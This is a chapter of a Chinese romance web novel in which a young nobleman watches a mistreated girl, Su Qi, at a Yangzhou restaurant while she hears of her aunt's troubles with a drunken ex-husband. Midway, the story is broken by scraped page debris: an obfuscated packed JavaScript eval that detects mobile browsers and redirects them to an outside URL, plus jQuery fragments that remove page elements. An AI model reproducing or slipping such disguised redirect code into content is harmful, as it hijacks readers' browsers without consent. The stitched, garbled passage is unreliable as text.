7. 第七章

作品:《被嫌弃的她躺赢了

    但良善的晏二郎君临走前漫不经心地看了一眼。


    无人看到,笼在他眉眼的那层似有似无的薄雾已经消失不见,恶鬼挣脱了人皮,目光冰冷诡谲。


    被打的鼻青脸肿的知府侄子还在叫嚣,浑然不知他的这一条贱命已经走到了尽头。


    陆秉之方才的话却是说对了,不知收敛,终将遭逢大祸。


    -


    午时,晏维和陆秉之走进来了扬州最大的一家酒楼醉仙楼用膳,先前的那家陆秉之嫌弃晦气,已是又换了一家。


    这家酒楼进出的客人眼力要强一些,看出前头的两人来历不凡,尤其宽袖广袍的少年,周身气质矜贵,不敢冒犯,只谨慎地在暗中打量。


    猜测,扬州城中从未见过如此贵人,莫非是从上京来的?


    而之后,陆秉之开口,带着上京印记的官言印证了他们的猜想。


    “寻一处无人打扰的雅间。”


    酒楼伙计应声,热情抬手,引他们到三楼去,将视野最好的一间房安排给了他们。


    陆秉之略略一看,房间很大,布置的尚可,又是临街,还算满意,当即请晏维先坐。


    少年却没有坐下的意思,他走到了窗边,垂首而立,三楼的高度足以他将底下热闹的街景尽收在眼中。


    马车来来往往地驶过,绫罗绸缎在日光的照应下折射出富贵的光彩;不远处有茶肆门口的说书人拍着响木,也有书生打扮的男子抱着笔墨从容走过;街角的地方支着几个小摊,一个穿着布衣的孩童正缠着妇人买面点吃。


    晏维的眼睛意外被热气腾腾的面点吸引,因为那面点竟是胖乎乎的兔子模样,估计孩童也是看中了这一点才闹着要买。


    妇人疼爱亲生的孩子,被缠磨了两下就认命掏出了装有银钱的荷包。


    “这是什么馅的包子,价钱几何?”


    “新鲜的糖包子,里头还放了芝麻嘞,一个只卖五文钱。”


    卖面点的是一对老夫妻,笑容满面地回答,等着达成这一桩生意。


    妇人闻言却犹豫起来,小小的一个包子竟然要五文钱,倒不如隔条街的肉包子,比巴掌还大也只要三文钱。


    当家的买去了,只要再等一会儿就有肉包子吃。


    见此,晏维的唇角便露出了一丝寡淡的笑意,他知道这桩生意成不了了。


    果然,妇人又将荷包收了回去,孩童瘪着嘴正想哭。


    突然,一只手从孩童的上方伸了过去,展开刚好是五个铜板。


    “阿婆,买一个糖包子。”


    晏维的目光骤然顿住,顺着那只手,到纤细的手腕,赫然是他昨日给出去的檀香木珠,一点不多一点不少地绕了两圈。


    ……


    苏棋肉疼地花五文钱买了一只糖包子,强装着随意,将香甜的兔子递给五岁大的女童,“快吃。”


    女童眼巴巴地瞅着糖包子,看向自己的娘亲,接还是不接。


    “既是二小姐给你的,就接着吧。”刘文娘脸上舒展着笑容,区区五文钱,对苏家的小姐而言当然不算什么。


    女童得到娘亲的许可,连忙接过兔子模样的包子,捧着吃了起来。


    苏棋眼尖瞥见了红褐色的糖馅,低头狠狠咽了咽口水,问刘文娘怎么就她们母女两人。


    “姨母呢?”


    刘文娘早知道她会问起胡彩月,唉声叹气,苏棋心下一个咯噔,急着往人少的地方走了走。


    “到底怎么了?”


    姨母每隔上半个月会和邻人刘文娘一起到扬州城卖绣好的帕子巾子,地方距离这里不远,苏棋便和姨母说好了在醉仙楼门口见面。


    醉仙楼是扬州城最大的一家酒楼,显眼,又无人闹事,约见在这里很方便。当然,苏棋选择醉仙楼还有另一个缘故,她想让姨母知道她的日子很宽裕。


    “二小姐不知,昨日那孙大武喝醉了酒,上门耍起了酒疯。”刘文娘语中带着同情,她和胡彩月比邻而居,是扬州城底下同个镇子的人,对胡彩月的情况最为清楚。


    说来胡彩月,那真是一个命运坎坷的女子。


    爹是个举人不假,却是个短命的,只因为她没有一个兄弟,十三岁举人爹死后,家中的田产财物就落到了叔父一家手中。


    姐妹两个从此相依为命。


    好在后来姐姐胡彩珍被苏家老夫人看中,进入了苏府为妾,胡彩月的日子好过一些,又嫁给了四平镇上的孙大武为妻。


    但好日子没过多久,胡彩珍因为死了儿子与苏府闹将起来,被赶到庄子里生活,胡彩月便也受到了孙家的冷待。


    孙家父母对胡彩月横眉冷对,处处挑刺,孙大武也开始不着家。


    但胡彩珍仍是苏府的姨娘,十多年来压着孙家,胡彩月时不时到姐姐住的庄子里,和孙家算是没撕破脸皮。


    可是一年多前,胡彩珍病死,孙家立刻变了脸,从外头抱回了两个孩子,说是孙大武的亲生儿女,要胡彩月强行认下。


    胡彩月不肯,准备与孙大武和离,孙家父母却惦记着胡彩月那一手绣活,硬是拖着。


    那时,二小姐已经回到了苏家,听闻消息后,带着婢女匆匆赶去了四平镇。


    刘文娘想到这里,偷偷瞄了一眼年纪不大的少女,谁能想到苏家二小姐竟是个混不吝的,扬言道孙大武若不同意和离,就卖了他的两个儿女。


    毕竟,孙家要胡彩月认下这一对儿女,胡彩月便是他们名义上的母亲,卖了人谁也不能说什么。


    孙家父母被吓到,马上让儿子与胡彩月和离。


    胡彩月脱离了孙家,但又离开不了生活了十多年的四平镇,于是在离孙家极远的地方赁了一处房屋,便是刘文娘的隔壁。


    一年来,日子平平淡淡。


    然而,昨日孙大武借着酒疯突然上门,将胡彩月赁的房子砸了大半,她要收拾屋子无暇进城,才托刘文娘一起卖掉绣品,再和外甥女说一声让她不要担心。


    她应付的来。


    可苏棋怎么能不担心,恨不得身后插上一对翅膀飞到四平镇去,姨母没有生育,孤身一人被孙大武欺负,该有多可怜!


    她瞪着眼睛,模样阴沉沉的。


    刘文娘瞧见后背发凉,急忙解释,走之前,自己的婆母在帮着胡彩月收拾,“二小姐放心,孙大武那泼皮昨日也被砸了一下,今天必不敢再闹事。”


    “胡姐姐还说不要二小姐去四平镇,苏家规矩大,二小姐随便离府过夜,有麻烦。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863423|191724||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    现在从扬州城到四平镇,一来一往肯定要留下过夜,苏棋偷偷溜出府一时半刻只要不被人发现,便没关系。但若是一宿不回,后果不会是简简单单地面壁思过。


    二金同样要受罚。


    苏棋沉默了好一会儿,嗯了一声。


    她接着掏出了身上所有的银钱,一两碎银并十二个铜板,顿了顿,又将昨夜刚收到的见面礼,成色上佳的玉佩一同递给刘文娘。


    “帮我把这些给姨母,改日我寻到了机会,便去四平镇看她。”


    刘文娘一口应下,胡彩月帮过她不少,二小姐方才还买了包子给她的女儿,这个小忙当然会帮。


    恰在此时,刘文娘的相公田陶从隔壁街买了肉包子过来,他们一家三口很快和苏棋道别,不然晚一些回到四平镇天色就暗了。


    雅间已经上齐了香气四溢的菜肴,晏维目不转睛地看着角落里面,慢慢蹲下来的少女,她低着头,似乎与热闹的街道隔成了两个世界。


    一明一暗,一动一静。


    她在暗处,又仿佛原来就该在那里,为人所弃,无人在意。


    晏维唇角勾起了愉悦的弧度,长指抚着自己空荡荡的手腕,越来越觉得事情变得有意思起来。


    身后,陆秉之见他站在窗前,久久未动,好奇地走过去,询问他在看什么。


    “天气有些潮冷。”少年却平淡地回了一句让陆秉之摸不着头脑的话。


    但下一句陆秉之听懂了,“底下卖的面点很有烟火气,世兄,要来一些吗?”


    原来晏二郎君是想吃面点啊,陆秉之笑笑,伸手指了指,示意相玄和相易两人,“两位,还不快给我们的二郎君买些上来。”


    相易闻声,当即抬脚往屋外去。


    晏维轻描淡写地叫住了他,“给底下的那位姑娘送些。”


    他回头瞥见醉仙楼的菜肴,又亲手盛了一碗汤羹,让相易端下去。


    陆秉之这下更懂了,好心的晏二郎君是看底下角落的小姑娘可怜,也是,他金尊玉贵地长大,什么面点没吃过。


    墙角的阴影处,苏棋蹲了下来,其实她只是想歇歇。


    毕竟今日她先是使计报复了梁妈妈,又费心思从府里溜出来,跑到醉仙楼,从头到尾累的不轻。


    而她还未吃午膳,加上身上全部的银钱都托刘文娘捎给了姨母,肚子饿着,若是不歇歇怎么有力气再跑回府里。


    周围的香气不停地往苏棋的鼻中钻,她开始回想起了前不久买的糖包子,胖乎乎的,一看就很软,里面的糖也很甜吧。


    可是,她身上一个铜板也没有了。


    苏棋越想越咬牙切齿,她是不会放过那个孙大武的!


    然后,一个高大的人影停在了她的面前,客气地称呼她苏二小姐。


    苏棋警惕地抬头,认出他是昨日那个骗子的随从,不由一愣。


    “这是郎君让我送来的,慢用。”


    相易放下了白胖白胖的糖包子和冒着热气的汤羹,点点头,返回了醉仙楼。


    苏棋望着他离去,下一刻仰起脑袋便看到了含笑朝她注目的少年。


    她咬了一口包子,很甜。


    于是,别别扭扭地也朝他笑了一下。